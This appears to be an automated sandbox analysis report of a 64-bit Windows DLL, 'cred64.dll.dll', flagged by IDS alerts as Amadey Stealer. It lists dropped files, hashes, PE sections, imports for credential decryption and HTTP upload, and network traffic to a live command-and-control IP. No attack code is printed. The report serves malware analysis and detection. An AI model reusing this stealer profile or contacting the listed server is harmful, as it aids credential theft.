QTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\_Files_\SUAVTZKNFL.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cbzicsc.uyl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2u35drnc.yfh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qifa4f3.qe4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xxu2v52.zci.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_at30zwed.zs2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4peltgy.gco.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqgejf1d.iop.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc10kp1s.im2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_memebtph.wp2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnhoytzr.gk1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhgitgri.rm5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_um5w1foo.1wh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	6.466578117942047
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	cred64.dll.dll
File size:	1'281'024 bytes
MD5:	478cf1466756aec3b32c8cc61fc5c6c6
SHA1:	201c3726ce7759de084693759c405d4ff7bf4cd9
SHA256:	92c5b1eae5d9f4eb47debd827d3168fb8ab989753262747c04ffee38c010e192
SHA512:	2e1e413f02655fec855d081c96ca950701db546a28e4fb66cf5c7593dd39d8eca70882705e82260570193b5e4ecdaec144b2af514144175f1a35ed22f98a3b75
SSDEEP:	24576:JO/VvL5QafhQsnoXyaoMferXQ5rnxQBuLv8Y472mfUO9l:I5nfhQzOMoA5rnxHv8Z2Ne
TLSH:	89557C0BA36141BCD4BBE1789A175A47F775704603709AEB07E446AA3F13BE19EBE310
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........D................................s.............................................................X.............Rich...........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800cfac4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6750AA80 [Wed Dec 4 19:16:16 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3f175edea93fa7a76a78004d12de2235

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F5B887DAFA7h
call 00007F5B887DB308h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F5B887DAE34h
int3
int3
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0002F048h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [0002F02Dh]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F5B887DAF77h
dec eax
lea edx, dword ptr [00057E87h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F5B887DD4B6h
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc ebp
xor ebx, ebx
inc esp
mov ecx, ebx
inc ecx
xor eax, 6C65746Eh
inc ecx
xor ecx, 756E6547h
inc esp
mov edx, edx
mov esi, eax
xor ecx, ecx
inc ecx
lea eax, dword ptr [ebx+01h]
inc ebp
or ecx, eax
cpuid
inc ecx
xor edx, 49656E69h
mov dword ptr [esp], eax
inc ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x127e00	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x127e58	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x142000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x136000	0xae9c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x143000	0x126c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1194c0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x119530	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfe000	0x600	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfc7d0	0xfc800	1ea5231ca513959c73edf3ace7d8d325	False	0.5002552599009901	data	6.448659544667205	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xfe000	0x2b31e	0x2b400	530c685b5c5f4d610487e6878416dbf1	False	0.4419086434248555	data	5.690159620129266	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x12a000	0xbb8c	0x4400	61d31a77fefa0f32c01e3f3bc17f6803	False	0.1189108455882353	DOS executable (block device driver \322f\324\377\3772)	2.1677539241948747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x136000	0xae9c	0xb000	e4078c360762dca3d61be203aa183883	False	0.4589621803977273	data	6.057856540511637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x141000	0xfc	0x200	e6b0804fe5391dcc441dbda6a53f9f66	False	0.326171875	data	2.4656798618339506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x142000	0xf8	0x200	193fc41b7ab2ce83170d116dba1ce3ac	False	0.3359375	data	2.5236806502270213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x143000	0x126c	0x1400	899e8e612e41b578dba238a8e36a5e4b	False	0.425390625	data	5.2926472964845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x142060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL	Import
CRYPT32.dll	CryptUnprotectData
KERNEL32.dll	GetFullPathNameA, SetEndOfFile, UnlockFileEx, GetTempPathW, CreateMutexW, WaitForSingleObject, CreateFileW, GetFileAttributesW, GetCurrentThreadId, UnmapViewOfFile, HeapValidate, HeapSize, MultiByteToWideChar, Sleep, GetTempPathA, FormatMessageW, GetDiskFreeSpaceA, GetLastError, GetFileAttributesA, GetFileAttributesExW, OutputDebugStringW, CreateFileA, LoadLibraryA, WaitForSingleObjectEx, DeleteFileA, DeleteFileW, HeapReAlloc, CloseHandle, GetSystemInfo, LoadLibraryW, HeapAlloc, HeapCompact, HeapDestroy, UnlockFile, GetProcAddress, CreateFileMappingA, LocalFree, LockFileEx, GetFileSize, DeleteCriticalSection, GetCurrentProcessId, GetProcessHeap, SystemTimeToFileTime, FreeLibrary, WideCharToMultiByte, GetSystemTimeAsFileTime, GetSystemTime, FormatMessageA, CreateFileMappingW, MapViewOfFile, QueryPerformanceCounter, GetTickCount, FlushFileBuffers, SetHandleInformation, FindFirstFileA, Wow64DisableWow64FsRedirection, K32GetModuleFileNameExW, FindNextFileA, CreatePipe, PeekNamedPipe, lstrlenA, FindClose, GetCurrentDirectoryA, lstrcatA, OpenProcess, SetCurrentDirectoryA, CreateToolhelp32Snapshot, ProcessIdToSessionId, CopyFileA, Wow64RevertWow64FsRedirection, Process32NextW, Process32FirstW, CreateThread, CreateProcessA, CreateDirectoryA, WriteConsoleW, InitializeCriticalSection, LeaveCriticalSection, LockFile, OutputDebugStringA, GetDiskFreeSpaceW, WriteFile, GetFullPathNameW, EnterCriticalSection, HeapFree, HeapCreate, TryEnterCriticalSection, ReadFile, AreFileApisANSI, SetFilePointer, ReadConsoleW, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleOutputCP, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, SetStdHandle, GetCurrentDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, InitializeSListHead, LCMapStringEx, InitializeCriticalSectionEx, EncodePointer, DecodePointer, CompareStringEx, GetCPInfo, GetStringTypeW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, InterlockedFlushSList, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ExitProcess, GetModuleFileNameW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, GetStdHandle
ADVAPI32.dll	RegQueryValueExA, RegEnumValueW, RegEnumKeyA, RegCloseKey, RegQueryInfoKeyW, RegOpenKeyA, RegOpenKeyExA, GetSidSubAuthorityCount, GetSidSubAuthority, GetUserNameA, RegEnumKeyExW, LookupAccountNameA, GetSidIdentifierAuthority
SHELL32.dll	SHGetFolderPathA, SHFileOperationA
WININET.dll	HttpOpenRequestA, InternetWriteFile, InternetReadFile, InternetConnectA, HttpSendRequestA, InternetCloseHandle, InternetOpenA, HttpAddRequestHeadersA, HttpSendRequestExW, HttpEndRequestA, InternetOpenW
bcrypt.dll	BCryptOpenAlgorithmProvider, BCryptSetProperty, BCryptGenerateSymmetricKey, BCryptDecrypt

Exports

Name	Ordinal	Address
Main	1	0x1800bfaf0
Save	2	0x1800056a0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-21T01:52:20.345564+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.10	49701	185.196.8.37	80	TCP
2025-02-21T01:52:20.354455+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.10	49702	185.196.8.37	80	TCP
2025-02-21T01:52:25.522638+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.10	49729	185.196.8.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 01:52:19.643270969 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.644047022 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.648510933 CET	80	49701	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:19.648598909 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.648806095 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.649097919 CET	80	49702	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:19.649157047 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.649265051 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:19.653904915 CET	80	49701	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:19.654292107 CET	80	49702	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:20.345500946 CET	80	49701	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:20.345563889 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:20.354409933 CET	80	49702	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:20.354454994 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:24.830562115 CET	49729	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:24.835582972 CET	80	49729	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:24.835666895 CET	49729	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:24.835906029 CET	49729	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:24.840867996 CET	80	49729	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:25.349258900 CET	80	49701	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:25.349332094 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:25.359863043 CET	80	49702	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:25.359920979 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:25.522568941 CET	80	49729	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:25.522638083 CET	49729	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:30.527689934 CET	80	49729	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:30.527740002 CET	49729	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.892860889 CET	49701	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.893235922 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.898053885 CET	80	49701	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.898297071 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.898544073 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.913918972 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914052010 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914107084 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914182901 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914182901 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914505959 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914572001 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914572001 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914724112 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914724112 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914804935 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914804935 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914860010 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.914860010 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915055990 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915055990 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915134907 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915179968 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915267944 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915328979 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.915368080 CET	49823	80	192.168.2.10	185.196.8.37
